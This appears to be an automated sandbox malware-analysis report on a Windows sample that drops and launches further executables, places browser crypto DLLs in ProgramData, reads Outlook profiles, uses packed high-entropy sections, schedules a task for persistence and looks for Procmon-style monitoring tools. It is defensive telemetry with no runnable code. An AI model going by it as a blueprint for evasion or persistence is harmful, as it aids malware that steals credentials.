Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6732 --field-trial-handle=2032,i,18235995259734345165,12719707871495107265,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6940 --field-trial-handle=2032,i,18235995259734345165,12719707871495107265,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCAFIJDGHC.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=2432 --field-trial-handle=2032,i,18235995259734345165,12719707871495107265,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHCAFIJDGHC.exe "C:\Users\user\DocumentsHCAFIJDGHC.exe"
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1827328 > 1048576

Source: file.exe

Static PE information: Raw size of ojfapqbx is bigger than: 0x100000 < 0x1a4400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2631574798.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2631574798.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.ee0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ojfapqbx:EW;uhwqlooz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ojfapqbx:EW;uhwqlooz:EW;.taggant:EW;
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Unpacked PE file: 21.2.DocumentsHCAFIJDGHC.exe.950000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wajwbeif:EW;joqbkyeg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wajwbeif:EW;joqbkyeg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.8e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wajwbeif:EW;joqbkyeg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wajwbeif:EW;joqbkyeg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.8e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wajwbeif:EW;joqbkyeg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wajwbeif:EW;joqbkyeg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.8e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wajwbeif:EW;joqbkyeg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wajwbeif:EW;joqbkyeg:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C53C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C53C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsHCAFIJDGHC.exe.0.dr	Static PE information: real checksum: 0x1db114 should be: 0x1e0af4
Source: file.exe	Static PE information: real checksum: 0x1c0bf3 should be: 0x1c5433
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1db114 should be: 0x1e0af4
Source: skotes.exe.21.dr	Static PE information: real checksum: 0x1db114 should be: 0x1e0af4

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ojfapqbx
Source: file.exe	Static PE information: section name: uhwqlooz
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsHCAFIJDGHC.exe.0.dr	Static PE information: section name:
Source: DocumentsHCAFIJDGHC.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsHCAFIJDGHC.exe.0.dr	Static PE information: section name:
Source: DocumentsHCAFIJDGHC.exe.0.dr	Static PE information: section name: wajwbeif
Source: DocumentsHCAFIJDGHC.exe.0.dr	Static PE information: section name: joqbkyeg
Source: DocumentsHCAFIJDGHC.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: wajwbeif
Source: random[1].exe.0.dr	Static PE information: section name: joqbkyeg
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: wajwbeif
Source: skotes.exe.21.dr	Static PE information: section name: joqbkyeg
Source: skotes.exe.21.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50B536 push ecx; ret		0_2_6C50B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_008FD91C push ecx; ret		25_2_008FD92F

Source: file.exe	Static PE information: section name: ojfapqbx entropy: 7.95494290391799
Source: DocumentsHCAFIJDGHC.exe.0.dr	Static PE information: section name: entropy: 7.984612617096636
Source: DocumentsHCAFIJDGHC.exe.0.dr	Static PE information: section name: wajwbeif entropy: 7.9543470293657474
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.984612617096636
Source: random[1].exe.0.dr	Static PE information: section name: wajwbeif entropy: 7.9543470293657474
Source: skotes.exe.21.dr	Static PE information: section name: entropy: 7.984612617096636
Source: skotes.exe.21.dr	Static PE information: section name: wajwbeif entropy: 7.9543470293657474

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHCAFIJDGHC.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsHCAFIJDGHC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHCAFIJDGHC.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHCAFIJDGHC.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsHCAFIJDGHC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

